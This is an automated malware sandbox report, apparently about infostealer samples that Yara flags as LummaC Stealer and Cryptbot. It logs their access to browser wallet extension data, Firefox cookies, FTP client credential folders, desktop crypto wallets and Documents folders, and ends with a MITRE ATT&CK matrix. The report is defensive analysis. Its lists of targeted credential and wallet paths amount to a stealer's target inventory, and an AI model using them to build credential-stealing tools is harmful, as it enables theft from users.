Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: Process Memory Space: 3a0398bc51.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d6bf37692b.exe PID: 7348, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3a0398bc51.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d6bf37692b.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001AEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_001AEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001ADF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_001ADF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	212 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	23 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	33 Software Packing	NTDS	255 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	991 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	371 Virtualization/Sandbox Evasion	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
